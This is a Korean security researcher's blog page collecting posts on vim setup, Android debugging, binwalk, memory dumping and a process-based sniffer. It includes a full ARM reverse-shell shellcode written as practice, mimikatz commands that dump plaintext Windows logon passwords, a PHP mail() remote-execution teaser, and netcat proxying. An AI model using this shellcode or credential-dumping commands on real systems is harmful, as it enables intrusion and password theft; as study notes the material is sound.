'k1rha`s Node'에 해당되는 글 388건

  1. 2015.01.31 vim ctag, cscope, NERDTree 개 인 설정
  2. 2015.01.21 wireshark 에서 certification 추출하기
  3. 2015.01.19 Android gdbserver 를 이용하여 원격 디버깅 하기
  4. 2015.01.01 gdb 최신버젼 peda 설치 시 트러 블슈팅
  5. 2015.01.01 우분투 14 한글 키보드 사용및 한영키 사용
  6. 2014.12.02 [ Android 에 lime 로 메모리 덤프 할때 참조한 URL ]
  7. 2014.11.25 strip 된 심볼정보 찾는법
  8. 2014.11.08 php mail function php injection
  9. 2014.10.24 ARM 어셈블리 코딩 연습 (ARM reverse shellcode 만들기 )
  10. 2014.10.21 window 계정 패스워드 찾기 mimikatz
  11. 2014.10.15 netcat 와 Back pipe 를 이용한 프록시 서버 구축하기
  12. 2014.10.15 Android Hooking Tool
  13. 2014.10.13 binwalker 사용법 관련 블로그 링크
  14. 2014.10.07 BEIST 님이 작성하셨던 특정 proccess packet capture 만들기
  15. 2014.10.07 ARM shellcode 만들기 prack 번역 ~
  16. 2014.09.16 heap sorting sorce
  17. 2014.09.11 Android gdb, gcc binary 파일
  18. 2014.07.02 [ attribute 관련 속성 정리 ]
  19. 2014.06.29 IT 관련 E-book 모아놓은 사이트 [ 저장용 ]
  20. 2014.06.25 하둡(Hadoop) 관련 설치부터 사용까지 메뉴얼
  21. 2014.06.18 Android custom Soft keyboard development
  22. 2014.06.16 apt-get update 오류중 1개
  23. 2014.06.01 python iterator 관련itertools 패키지 및 메소드 정리
  24. 2014.06.01 python string 관련 메소드 정리
  25. 2014.05.24 [ Python 2.7 ] 키보드 마우스 후킹 ( Key Mouse Event hooking )
  26. 2014.05.23 리버스 쉘 치트 시트 (Reverse Shell Cheat Sheet)
  27. 2014.05.20 [makefile] 매크로(Macro) 와 확장자(Suffix) 규칙
  28. 2014.05.14 ldd 명령어 분석 ( for dynamic symbol 저장 위치 찾기)
  29. 2014.05.02 [ OPEN CV ] 카메라 화면 띄우기
  30. 2014.05.02 [ kernel ] 루트킷 분석하다가 조사한 커널 함수들.
2015. 1. 31. 22:35



vim plugin 관련 좋은 블로그 펌! 



출처 : http://www.iamroot.org/xe/Kernel_10_ARM/104190




1. 커널 소스 받기

https://www.kernel.org/ 에 접속하여 커널 소스를 받습니다. 저는 3.9.2를 받았습니다.(https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.9.2.tar.xz)



2. 소스 압축 풀기

받은 소스 파일을 한글 경로가 안들어가있는 적절한 곳으로 옮깁니다. 저같은 경우는 ~/kernel_study/ 밑으로 옮겼습니다.

그리고 해당 파일의 압축을 풉니다. 압축 풀때는..


$ xz -d linux-3.9.2.tar.xz  

위와 같이 압축을 풀면 tar 파일이 나옵니다. tar 파일을 한번 더 풀어줍니다.

$ tar -xvf linux-3.9.2.tar

그러면 아카이빙이 풀리면서 폴더가 만들어집니다.



3. ctags로 소스 코드 태그 만들기

일단 ctags를 설치합니다.

$ sudo apt-get install ctags

기본적으로 태그를 생성하는 명령은 ctags -R인데 ctags -R은 모든 아키텍처에 대한 태그를 만들어 준다고 합니다. 

우리는 ARM아키텍쳐만 다루기 때문에 ARM으로 한정하여 생성해야 합니다.

이때 리눅스 커널 소스에 아키텍처별 ctags용 태그를 생성할 수 있는 스크립트가 제공된다고 합니다.

스크립트가 있나 없나 한번 확인해봅니다.

$ ls -al ./scripts/tags.sh

tags.sh가 있는 것이 확인되면 make 명령으로 ARM용 태그를 생성합니다.

$ make tags ARCH=arm
만드는데 시간이 좀 걸립니다. 


4. cscope 태그 데이터베이스 만들기
다음으로는 ctags를 보완해주기 위해 cscope를 설치해줍니다.
$ sudo apt-get install cscope
cscope DB를 생성하기 위해서는 분석할 파일들의 목록을 cscope.files 파일에 저장 한 후 생성해야되는데
리눅스 커널 소스에서는 이를 자동으로 구성해주는 스크립트를 내장하고 있습니다.
$ make cscope ARCH=arm


5. vim 플러그인설치
OB들의 책에서는 ctags와 cscope에 익숙하지 않다면 vim 플러그인을 추천합니다.
플러그인으로 Source Explorer, NERD Tree, Tag List를 추천하고 있습니다.
3개는 http://www.vim.org/ 에서 다운받을 수 있습니다.
vim사이트에서 좌측을 보시면 Download 밑에 Scripts라고 메뉴가 있습니다.
그것을 클릭 후 거기서 Browse all을 누릅니다.
그러면 하단부에 플러그인을 검색 할 수 있는 keywords와 type, sort by가 뜨는 것을 볼 수 있습니다.
keywords에서 검색하여 각각의 플러그인들을 다운받습니다.
각각의 주소는
입니다.

플러그인들을 설치하고 환경을 설정하기 위해 홈디렉토리로 가서 .vim 폴더를 만들어 줍니다.
그리고 다운받은 파일들을 홈디렉토리로 옮겨 줍니다.
그리고 .vim 폴더로 가서 하위폴더로 plugin폴더를 만들어 줍니다.
그 다음 각각의 파일들을 압축을 해제하여 줍니다.
압축을 풀면 각각의 플러그인마다 거시기.vim파일들이 나오는데
NERD_tree.vim  srcexpl.vim  taglist.vim
이 3개의 파일들을 ~/.vim/plugin/ 밑으로 복사 또는 이동합니다.
그러면 설치는 완료되고 환경설정이 남았습니다.

6. 환경설정
아까 설치한 ctag와 cscope를 연동하기 위해 vim 환경 파일인 .vimrc를 수정해야 합니다.
먼저 ctags와 cscope 데이터베이스 파일의 위치와 실행파일의 위치를 확인해봅니다.
$ whereis ctags
ctags: /usr/bin/ctags /usr/bin/X11/ctags /usr/share/man/man1/ctags.1.gz
$ whereis cscope
cscope: /usr/bin/cscope /usr/bin/X11/cscope /usr/share/man/man1/cscope.1.gz

그리고 vim 환경설정 파일을 엽니다.
$ vi ~/.vimrc
그리고 아래를 입력 해 줍니다.
 

  "vim환경설정
       set nu "line number
       set ai "auto indent
       set ts=4 "tab size
       set bg=dark "background color
   
   "ctags database path 설정
       set tags=~/kernel_study/linux-3.9.2/tags "각자 자신의 위치로..
   
  "cscope database path 설정
      set csprg=/usr/bin/cscope "whereis로 나온 cscope위치
      set csto=0 "cscope DB serch first
      set cst "cscope DB tag DB search
      set nocsverb "verbose off
  
      "cscope DB의 위치 설정
      cs add ~/kernel_study/linux-3.9.2/cscope.out ~/kernel_study/linux-3.9.2
      set csverb "verbose off
  
  "Tag List 환경설정
      filetype on "vim filetype on
      nmap <F7> :TlistToggle<CR> "F7 key = Tag List Toggling
      let Tlist_Ctags_Cmd = "/usr/bin/ctags"  "ctags 프로그램 위치
      let Tlist_Inc_Winwidth = 0 "window width change off
      let Tlist_Exit_OnlyWindow = 0 "tag/file 선택 완료 시 taglist
                      "window close =off
      let Tlist_Auto_Open = 0 "vim 시작 시 window open = off
      let Tlist_Use_Right_Window = 1 "vim 시작 시 window open = off
  
  "Source Explorer 환경설정
      nmap <F8> :SrcExplToggle<CR> "F8 key = SrcExpl Toggling
      nmap <C-H> <C-W>h "왼쪽 창으로 이동
      nmap <C-J> <C-W>j "하단(preview) 창으로 이동
      nmap <C-K> <C-W>k "상단 창으로 이동
      nmap <C-L> <C-W>l "오른쪽 창으로 이동
  
      let g:SrcExpl_winHeight = 8 "SrcExpl 윈도우 높이 지정
      let g:SrcExpl_refreshTime = 100 "refreshing time = 100ms
      let g:SrcExpl_jumpKey = "<ENTER>" "해당 definition으로 jump
      let g:SrcExpl_gobackKey = "<SPACE>" "back
      let g:SrcExpl_isUpdateTags = 0 "tag file update = off
  
  "NERD Tree
      let NERDTreeWinPos = "left" "NERD Tree위치 = 왼쪽
      nmap <F9> :NERDTreeToggle<CR> "F9 key = NERD Tree Toggling



CTAG 단축키 
ctag -R
1 :h [ 접두어 ] | [ 접미어 ] 해당명령어의 도움말 
2 Ctrl + Z  , fg  쉘로 빠져나가고 복귀
3 :ascii 현재 커서의 아스키값을 알아냄
4 yy + p 한줄 복사하여 붙여 넣기
5 "=G" 들여쓰기 재정렬 G는 재정렬을 적용할 범위를 나타냄
6 set autoindent  자동 들여쓰기
7 set smartindent 지능적인 들여쓰기?
8 set ruler 행 열번호,
9 set hlsearch 검색어 강조
10 vi -t < keyword > 태그 파일에서 keyword 와 일치하는 첫번째 위치로 이동
11 :ta < keyword > 실행중 특정태그를 검색
12 :tn , :tp 이전, 이후 태그로 이동
13 :tj 태그가 여러개일 경우 목록을 출력, 선택하면 이동가능
14 Ctrl + ] 커서가 위치한 keyword 의 정의부분으로 이동
15 Ctrl + t 이동후 이전 위치로 복귀 
CSCOPE 
# find . \( -name '*.c' -o -name '*.h' -o -name '*.s' -o -name '*.S' \) -print > cscope.files
cscope -i <filelist file>    : cscope.out 으로 데이터베이스 파일ㅇ ㅣ생성된다.
: cs add /usr/src/linux-3.0.4/cscope.out
cscope 사용 :cs find <검색유형> <검색어>
1 s 심볼을 검색
2 g global 변수를 검색
3 d 함수에 의해 호출되는 함수들을 검색
4 함수를 호출하는 함수들을 검색
5 t 텍스트 문자열을 검색
6 e 확장 정규식을 사용하여 검색
7 f 파일이름을 검색
8 i include 파일을 검색
9 :cn, :cp 다음 검색, 이전 검색


Posted by k1rha
2015. 1. 21. 13:37

SSL nego 중 서버가 클라이언트로 인증서(certificate)를 주게 된다.

서버나 클라이언트에서 인증서를 확보하지 않고 패킷 덤프에서 추출하는 방법을 기술한다.


1. wireshark로 SSL 패킷 덤프를 연다.

2. TCP 프로토콜 설정에서 "Allow subdissector to reassemble TCP streams" 옵션을 켠다.

3. SSL handshake 중 "Certificate" 가 포함된 패킷을 연다.

4. packet detail 부분에서 SSL protocol을 확장

5. "Certificate" TLS record 확장

6. "cettificate" handshake protocol 확장

7. certificates list 확장. 첫번째 certificate가 서버의 것이고 뒤에 오는 certificate은 CA 및 root CA의 것이다. certificate chaining 참조

8. 첫번째 certificate에다 오른쪽 클릭.

9. "Export selected packet bytes..." 선택. 

10. 이름 적고 세이브


여기까지 진행하면, DER format의 certificate가 추출된다.


human readable하게 바꾸기 위해서는 openssl 명령을 이용한다.


>> openssl x509 -inform der -in <파일명> -text (-onout)


많이 쓰는 PEM 방식으로 저장하려면,


>>  openssl x509 -inform der -in <파일명> -out <파일명.pem>


참고로 der과 pem은 인코딩 방식이며, 특히 pem은 ascii(base64)로 표현됨. '-- BEGIN' 으로 시작

crt, cer, key 확장자는 각각 다음과 같다.


* crt: certificate의 확장자. der 또는 pem 으로 인코딩 된다.

* cer: crt의 alterate form이며 MS convention. IE에서 인식.

* key: private 또는 public key의 확장자. crt와 마찬가지로 der 또는 pem으로 인코딩 된다.

Posted by k1rha
2015. 1. 19. 17:40

Presently, my phone is a Samsung Galaxy S3 GT-I9300. But in general the following steps should be applicable to any Android device.

First, download Android SDK and NDK. From SDK you can get the “adb” to connect into the phone. From NDK you can get the gdbserver in ARM binary, upload that to the phone via “adb”.

Next mount the /system as read-writeable:

mount -o rw,remount /dev/block/mmcblk0p9 /system

(the block device “/dev/block/mmcblk0p9″ is specific to my device, yours may differ. Just use “mount” to see which block device the “/system” directory is mounted on. If “/system” does not appear in “mount” command, then most probably the root filesystem block device should be used.)

And then copy the gdbserver from the Android NDK into /system/bin directory.

Next, assuming the process ID of the target process is 16835, then run this inside the Android phone:

gdbserver :4567 --attach 16835
Attached; pid = 16835
Listening on port 4567

In another PC (which is accessible by TCP/IP from the phone, download all the ARM-based libraries from the phone and run the gdb client):

Get all the ARM libraries and the target binaries (to be debugged, and in my case, it is called “debuggerd”) from mobile phone:

adb pull /system/lib /tmp/system_lib  ( 디바이스에서 lib 파일을 가져옴 )

And run the gdb client (which is from the NDK):


$ adb forward tcp:4567 tcp:4567


/android-ndk-r7/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi-gdb /tmp/debuggerd (디바이스에서 바이너리를 가져옴 - 바이너리 에 있는 심볼을 가져오기 위함 )
(gdb) set auto-solib-add on
(gdb) target remote :
4567
(gdb) set solib-search-path /tmp/system_lib ( 디바이스에서 가져온 lib 파일 )


Subsequent messages:

Error while mapping shared library sections:
/system/bin/linker: No such file or directory.
Symbol file not found for /system/bin/linker
Reading symbols from /tmp/system_lib/libc.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libc.so
Reading symbols from /tmp/system_lib/libstdc++.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libstdc++.so
Reading symbols from /tmp/system_lib/libm.so...
(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libm.so
Reading symbols from /tmp/system_lib/libz.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libz.so
Reading symbols from /tmp/system_lib/libcrypto.so...
(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libcrypto.so
Reading symbols from /tmp/system_lib/libssl.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libssl.so
(gdb) info sharedlibrary
From To Syms Read Shared Object Library
No /system/bin/linker
0x4015a0c0 0x401882d4 Yes /tmp/system_lib/libc.so
0x4019e934 0x4019ea3c Yes /tmp/system_lib/libstdc++.so
0x401a1f70 0x401b1db8 Yes /tmp/system_lib/libm.so
0x400332a0 0x4004441c Yes /tmp/system_lib/libz.so
0x400b1a00 0x401172b8 Yes /tmp/system_lib/libcrypto.so
0x4005f530 0x4007798c Yes /tmp/system_lib/libssl.so
(gdb)

Posted by k1rha
2015. 1. 1. 23:34

[ 출 처: http://sangu1ne.tistory.com/98 ] 


아래와 같이 gdb소스를 받아서 파이썬 2.7을 사용한 gdb로 컴파일 하면 된다.


1.먼저 gdb-peda소스를 받는다.

https://github.com/longld/peda


2.다음을 입력한다.

echo "source ~/peda/peda.py" >> ~/.gdbinit


3.gdb 소스를 받는다.

http://ftp.gnu.org/gnu/gdb/


4.python2.7-dev 패키지를 받는다.  (이 패키지가 없으면 2.7버전을 사용해서 gdb를 컴파일 할 수 없음)

apt-get install python2.7-dev


5.libncurses5-dev 패키지를 받는다. (이 패키지가 없으면 termcap library found 에러가 난다)

apt-get install libncurses5-dev


http://www.embedded-it.de/en/bsp/eCross.php

6.gdb 소스가 있는 디렉토리로 가서, 다음을 입력한다.


./configure --with-python=python2

make

make install



Posted by k1rha
2015. 1. 1. 14:45




VM에 우분투 설치 후 한글 설정 삽질한 내용 정리

 - 문제점

   -->노트북의 한영키가 Alt키랑 같이 인식

 -해결 방법

   --> 1. compizconfig-settings-manager 설치(아래 명령어로 설치)

            $sudo apt-get install compizconfig-settings-manager

 

         2. compizconfig-settings-manager 실행 후에 알트키와 관련된 명령어 제거

             Ubuntu Unity Plugin 검색하여 아래 화면의 두 부분을 사용하지 않음으로 설정


Posted by k1rha
2014. 12. 2. 21:01


[ Android 에 lime 로 메모리 덤프 할때 참조한 URL ] 

대상 : Nexus 5  3.4.0 kernel    4.4.2 android kiket



1. https://code.google.com/p/volatility/wiki/AndroidMemoryForensics  //android 에뮬레이터에 lime 올리기

 

2. https://source.android.com/source/building-kernels.html#building  //안드로이드 커널 코드 받는곳

 ( 없으면 gitHub 에서 검색해도 가능  : https://github.com/CyanogenMod/android_device_lge_hammerhead ) 

  -> (gcc 버젼에 민감함... 에러를 뱉어낼때도 있음 필자는 4.6 버젼에서 성공


3. https://developers.google.com/android/nexus/images?hl=ko-KR#hammerheadkot49h  // 안드로이드 관련 커널 이미지 파일  (4번에서쓰임) 

 


4. http://blog.tunz.kr/115  // 안드로이드 custom  커널 이미지 파일 flash rom 에 다시 올리기. (그냥 있는 커널 이미지는 insmod 와 rmmod 가 없음 빌드시 1번 에뮬레이터 올리기 옵션을 .config 에 꼭 추가해서 빌드해줘야함  ) 

 

5. 루팅해도 boot.img 는 그대로 유지됨. 재루팅시켜줘야함. 



트러블 슈팅 : failed ( No such file or directory ) -> dmegs 출력해봄

symbol 없다거나 global_offset_table 이상이 있다고 나올 경우 - -fno-pic 옵션이 빠진거임


< lime 로 덤프한 내용을 tcp 로 바로 전송하기 > 


$ adb push lime.ko /sdcard/lime.ko
$ adb forward tcp:4444 tcp:4444
$ adb shell
$ su
# insmod /sdcard/lime.ko "path=tcp:4444 format=lime"

Now on the host machine, we can establish the connection and acquire memory using netcat

$ nc localhost 4444 > ram.lime

Acquiring to sdcard

# insmod /sdcard/lime.ko "path=/sdcard/ram.lime format=lime"

Posted by k1rha
2014. 11. 25. 09:42

링크 http://gogil.kr/66


Posted by k1rha
2014. 11. 8. 21:45
http://webcache.googleusercontent.com/search?q=cache:nkjOOvPZjPcJ:securitysucks.info/exploit-phps-mail-to-get-remote-code-execution/+&cd=1&hl=en&ct=clnk&gl=us



With that said, let’s just dive into it!

This is the code for exploiting the mail() function

Let’s inspect the logs from this. First let’s have a look at what we can see in the browser by only going to the rce.php file

Nothing really scary to see in this log. Now, let’s use the catcommand in the terminal on the same file

See anything a bit more interesting? Let’s try to execute some commands.

I visit http://localhost/rce.php?cmd=ls%20-la and get the following output

Now, let me break it down in case you don’t fully understand the code

Posted by k1rha
2014. 10. 24. 10:06

ARM 어셈블리 코딩하는데 생각한 노하우


---------------------------------------------------------------------------------

1. 일단 C 로 원형을 짠다.  =  write(1,"/bin/sh\x00",8);

2. 인자값 타입과 갯수를 아래에 정리한다. ( 포인터 값이 있는지 확인 )

   int write( int fd, void * buff, size_t t  )

3. system call number 확인한다  write == 4

4. designing 하기 return r0 _ r7( r0, r1, r2 ) 

5. 워드값 구성 작성

   1byte = .byte , 2byte = .short,  4byte =.word 닥치는 대로 하나의 함수 맨 아래쪽에 쓰면됨.

6. 인자값을 구성해야함 숫자 값은 최대 255까지 이고, 더 큰값은 add 로 더해서 맞춰 줘야함. 

    ( 권한은 8진수임 0777 일 경우 255+255+1 임 ) 

7. 인자값이 주소값으로 리턴되는 부분은 아닌지 판단하고 주소값으로 넘어가는 부분일 시

   sp + 4 ( 다음주소에) 한번 str 시키고, 그 sp +4 를 다시  add 를 통해 가져옴.  

   (ldr 은 값을 가져오기때문에 안됨 )

8. (objdump 로 떠본 후 ) sub inst, inst, inst 로 널값 제거

   (string 관련널은 +1 을 해준뒤 -1 을 해주는 방식으로 구현 

9. string 이 들어가는 인자값을 PC 카운터를 더하고 갯수를 세어 string 값을 가르키게함. 

 (사이에있는 인스트럭션 갯수를 더해준다는 생각으으로 하면 좋음  thumb*2 ARM*4 byte )

11. 컴파일. 

----------------------------------------------------------------------------------

// ARM reverse shellcode practice 

//     IP : 127.0.0.1    PORT 3333 

//     .word 0x050d0002 .word 0x0100007f

// 아직 string 으로 인한 널값을 제거하지 못함.

//



.global _start


#char *sh[2] = {"/bin/sh", NULL};


#int main()

#       sock = socket(PF_INET, SOCK_STREAM, 0);

#        serv_addr.sin_family = AF_INET;

#        serv_addr.sin_addr.s_addr = inet_addr(IP);

#        serv_addr.sin_port = htons(PORT);


        _start :

                .code 32


                        add r3, pc ,#1

                        bx      r3


                .code 16



# socket -- system call is 281

# socket(2,1,0 )

# r0=sock       r7=281   ( r0=2, r1=1, r2=0 )


                        mov r7, #255

                        add r7, #26

                        mov r0, #2

                        mov r1, #1

                        sub r2,r2,r2

                        svc 1


# connect -- system call is 283

# r0    =       r7 = 283        ( r0 = sock(return value) , r1 = &server_addr , r2 = 16 )

# server_addr.sin_family = AF_INET

# server ???                PORT   02(?)     1.0.0.127

# 0xa010 <serv_addr>:     0x050d00 02      0x0100007f

                        mov r8, r0

                        mov r7, #255

                        add r7, #28

                        mov r1, pc

                        add r1, #4

                        mov r2, #16

                        svc 1

                        .word 0x050d0002

                        .word 0x0100007f


# dump2 -- system call is 63

# dup2(sock,0);

# dup2(sock,1);

# dup2(sock,2);

#

# r0 -> sock structure

# r6 = r0

# r0    r7=64   ( r0 = r6, r1 = 0 );

# r0    r7=64   ( r0 = r6, r1 = 1 );

# r0    r7=64   ( r0 = r6, r1 = 2 );

                        mov r7 , #64

                        mov r0, r8

                        sub r1, r1, r1

                        mov r1, #0

                        svc 1

# r8= 4

                        mov r7, #64

                        mov r0, r8

                        mov r1, #1

                        svc 1

# r8=4

                        mov r7, #64

                        mov r0, r8

                        mov r1, #2

                        svc 1



# execve -- system call is 11

# char * buff[] = {"/bin/ls\x00",NULL};

# execve(buff[0],buff, 0);

# r0 r7 = 11 ( r0 = buff, r1= &buff, r2 = 0 )

# .word nib/

# .word sl/



                        mov r7 ,#11

                        sub r2, r2, r2

                        mov r0, pc

                        add r0, #10

                        str r0, [sp,#4]

                        sub r4, r4, r4

                        str r4, [sp,#8]

                        add r1, sp, #4

                        svc 1

                        .byte 0x2f

                        .short 0x7973

                        .word 0x6d657473

                        .word 0x6e69622f

                        .word 0x0068732f


# close -- system call is 6

# close(sock) sock = r6

# r0    r7 = 6  ( r0 = r6(sock) )


                        mov r7, #6

                        mov r0, r8

                        svc 1




Posted by k1rha
2014. 10. 21. 08:30

window 계정 패스워드 찾기 mimikatz


출처 : http://www.sysnet.pe.kr/Default.aspx?mode=2&sub=0&detail=1&pageno=0&wid=1666&rssMode=1&wtype=0




아래와 같은 글이 있어서,

윈도우7, 8의 취약점을 이용한 어드민 계정 탈취 가능 현상
; http://social.msdn.microsoft.com/Forums/ko-KR/5a52cdf9-7922-4b52-9ea7-f2f962b93ae3/7-8-?forum=vistako


mimikatz 도구에 대해 검색해 보았습니다. 현재 github에 소스코드까지 공개되어 있어 가벼운 마음으로 다운로드 받아 테스트를 시작했습니다.

gentilkiwi/mimikatz 
; https://github.com/gentilkiwi/mimikatz/releases


제가 다운로드 받은 버전은 오늘자 기준 최신 버전인 "mimikatz 2.0 alpha 20140501"이고, 제 VM 테스트 머신 중에 윈도우 8에서 실행했으나 다음과 같이 동작하지 않았습니다.


아래의 소개 PPT 자료에 보니,

mimikatz
; http://fr.slideshare.net/gentilkiwi/mimikatz-ossir


XP, 2003, Vista, 2008, 7, 2008R2, 8, 2012의 x86/x64 버전에서 동작한다고 하는데 이상하군요. 혹시나 싶어 cmd.exe를 "관리자 권한"으로 실행시킨 다음 "privilege::debug" 명령을 실행해 보았습니다. 그랬더니 성공합니다. ^^

mimikatz # privilege::debug
Privilege '20' OK


그 다음 "sekurlsa::logonpasswords" 명령을 내리면 계정의 암호가 평문과 함께 출력됩니다. (테스트 해보니 8.1에서도 동작합니다.)

재미있는 점이 있다면, 현재 "로그인 중인 사용자 계정과 컴퓨터가 실행 중인 동안 로그인을 했던 사용자에 한해서만" 암호를 알아낼 수 있다는 점입니다. 즉, 컴퓨터에 계정이 등록되었다고 해도 mimikatz를 실행하는 시점의 컴퓨터가 살아 있는 동안 로그인을 한 적이 없다면 그 사용자 계정의 암호는 알아낼 수 없습니다.




Posted by k1rha
2014. 10. 15. 14:25


[ 출처 :http://daehee87.tistory.com/ ]

netcat 와 Back pipe 를 이용한 프록시 서버 구축하기 

Proxying

Another useful behaviour is using netcat as a proxy. Both ports and hosts can be redirected. Look at this example:

nc -l 12345 | nc www.google.com 80

Port 12345 represents the request

This starts a nc server on port 12345 and all the connections get redirected to google.com:80. If a web browser makes a request to nc, the request will be sent to google but the response will not be sent to the web browser. That is because pipes are undirectional. This can be worked around with a named pipe to redirect the input and output.

mkfifo backpipe
nc -l 12345 0<backpipe | nc www.google.com 80 1>backpipe


Posted by k1rha
2014. 10. 15. 11:44

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2014. 10. 13. 20:29

frimmod kit 도 binwalker 를 잘활용한 모드킷이라고 함.

만능은 아니기 때문에 빈워커의 사용법도 익혀둬야함.


binwalker 사용법 관련 블로그 링크


http://hasu0707.tistory.com/589 // binwalker 사용법에 대한 이야기 

http://hackability.kr/archive/201409 //binwalker 를 이용한 대회 문제 풀이 -> 가장 세세함.



codegate 2014 문제로 보는 biinwalker 사용법 예시

 

binwalker download : https://github.com/devttys0/binwalk

./configure  && make && make install

 

 

root@k1rh4:~/Binwalk# binwalk disk-image


DECIMAL       HEXADECIMAL     DESCRIPTION

--------------------------------------------------------------------------------

0             0x0             Linux EXT filesystem, rev 1.0 ext3 filesystem data, UUID=bc6c2b24-106a-4570-bc4f-ae09abbdabbd

72704         0x11C00         Linux EXT filesystem, rev 1.0 ext3 filesystem data, UUID=bc6c2b24-106a-4570-bc4f-ae09abbdabbd

1113088       0x10FC00        ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV)

1116896       0x110AE0        LZMA compressed data, properties: 0x89, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes

1117024       0x110B60        LZMA compressed data, properties: 0x9A, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes

1117216       0x110C20        LZMA compressed data, properties: 0xB6, dictionary size: 16777216 bytes, uncompressed size: 33554432 bytes

1117408       0x110CE0        LZMA compressed data, properties: 0xD8, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes

 


 

root@k1rh4:~/Binwalk# dd if=./disk-image of=./binary ibs=1 skip=1113088

984064+0 records in

1922+0 records out

984064 bytes (984 kB) copied, 0.513622 s, 1.9 MB/s

root@k1rh4:~/Binwalk# file binary

binary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x0bc06819ef5f9b1c94cbffa944b767cbf442c9aa, not stripped

root@k1rh4:~/Binwalk#

 

dd 명령

if   =  입력 파일

of  = 출력 파일

ibs = 읽을 바이트 단위

skip =  건너뛸 바이트 수

 

binwalk를 통해 elf 파일의 위치가 0x10FC00 (1113088)임을 알았기 때문에 위와 같이 실행하면 다음과 같은 elf 파일이 떨어지게 되됨

 



Posted by k1rha
2014. 10. 7. 19:35
by Beist Security Research Group 


Members of Beist Research Group : beist and anonymous people 
Members of Beist Study Group : beist, dars21, obhacker, passion, p-jackpot, jacaranda, cina

 

 

요약본 문서는 유저 레벨에서 패킷 헤더를 분석하는 방법과 특정 프로세스를 지정하여 볼 수 있는 패킷 스니핑 프로그램을 구현하는 방법을 소개합니다.

 

 

 

1. 개요

 

이 문서는 리눅스 환경을 대상으로 작성되었습니다본 문서에서 다룰특정 프로세스를 지정하여 패킷을 스니핑할 수 있는 프로그램은 현재 실행 중인 프로세스와 실행 시킬 프로그램에서 발생하는 패킷을 스니핑하는데 사용될 수 있습니다특히 본 문서에서 다루는 프로그램은 포트 기반으로 수행하는 스니핑이 아니라 프로세스 기반이기 때문에 한 프로세스에서 수시로 다른 포트를 사용할 경우에도 패킷 스니핑을 하기 유용합니다.

본 문서에서는 특정 프로세스에서 사용하고 있는 Port 번호를 알아내기 위하여 proc file system의 프로세스 정보 디렉토리네트워킹 정보 분석 방법데이터링크 액세스 인터페이스 시스템 콜을 이용하여 패킷의 헤더 정보를 알아내는 방법에 대해 다룰 것입니다.

 

 

 

2. 기술적인 내용

 

/proc 디렉토리에서 프로세스 id와 사용중인 포트번호를 추출한 후 해당 프로세스에서 발생하는 패킷의 헤더와 데이터를 분석하는 방법에 대해 알아보겠습니다본 문서에서 설명하는 프로그램은 2가지 방식으로 작동되는데프로그램을 실행할 때패킷을 감시할 프로세스 이름이나 프로세스 ID를 입력하는 방식으로 이루어집니다. (: ./proc_sniff 880 or ./proc_sniff program_name) 다음은 프로세스가 사용중인 Port 번호를 알아내는데 필요한 /proc 디렉토리에 대한 구체적인 내용입니다. (본 문서에서는 주로 TCP에 대해서 설명합니다.)

 

(1) /proc 디렉토리 분석

/proc 디렉토리 내에는 프로세스 정보커널 정보장치 정보네트워킹 정보 등과 같이 다양한 시스템 정보를 포함하고 있지만우리가 관심 있게 봐야 할 부분은 /proc/PID/stat, /proc/net/tcp 파일과 /proc/PID/fd 디렉토리 입니다텍스트 에디터를 사용하여 파일을 읽어보면 프로세스 정보와 네트워킹 정보를 확인할 수 있습니다.

 

 

1) /proc/PID/stat 파일 읽기

프로그램 이름을 실행 인자로 받았을 경우 실행된 프로그램의 프로세스 id 값을 추출하기 위해서 /proc/PID/stat 파일을 사용해야 합니다.여기서 PID /proc 디렉토리 내에 있는 여러 프로세스 ID를 말합니다해당 PID(:1872디렉토리 내의 stat파일은 다음과 같이 프로세스 상태에 관련된 내용을 가지고 있습니다.

 

[root@localhost root]# cat /proc/1872/stat

1872 (sshd) S 1742 1872 1872 0 -1 320 140 48 149 23 2153 982 5 0 15 0 0 0 16721 7065600 535 4294967295 134512640 1347876

80 3221219360 3221216780 3076439090 0 0 4096 73728 3222450524 0 0 17 0 0 0 2153 982 5 0

 

이 정보에서 bold체로 표시된 2번째 필드를 보면 프로세스 이름이 기록되어 있는 것을 확인할 수 있습니다이 정보를 토대로 프로그램 이름과 /proc 디렉토리 내에 있는 모든 PID 디렉토리의 stat 파일을 비교하여 프로세스 이름과 일치하는 파일을 찾아 프로세스 id를 추출할 수 있습니다.

 

 

 

2) /proc/PID/fd 디렉토리 내 파일 디스크립터 읽기

/proc/PID/fd 디렉토리 내에는 해당 PID(:1872프로세스에서 사용하고 있는 파일 디스크립터의 정보가 있습니다아래 예시는/proc/1872/fd 디렉토리의 내용입니다.

 

[root@localhost fd]# ls –l

합계 0

lrwx------    1 root     root           64  3  7 19:06 0 -> /dev/null

lrwx------    1 root     root           64  3  7 19:06 1 -> /dev/null

lrwx------    1 root     root           64  3  7 19:06 2 -> /dev/null

lrwx------    1 root     root           64  3  7 19:06 3 -> socket:[2177]

 

위의 정보를 보면 1872 프로세스의 0(표준입력), 1(표준출력), 2(표준에러파일 디스크립터는 /dev/null로 링크되어 있습니다. 3번 파일 디스크립터는 소켓 파일 디스크립터이고 해당 디스크립터에 링크되어있는 socket:[2177]은 커널에서 관리하고 있는 소켓 번호인 것을 알 수 있습니다이 번호를 이용하여 다음에 설명할 /proc/net 디렉토리 정보와 함께 포트 번호를 추출하는데 사용할 수 있습니다. 1872 프로세스는 위의 1)에서 /proc/1872/stat 파일 정보를 통해 ssh 데몬인 것을 파악했으므로 3번 파일 디스크립터는 ssh 통신을 위한 파일 디스크립터로 예상할 수 있습니다.

 

 

3) /proc/net 정보 얻기

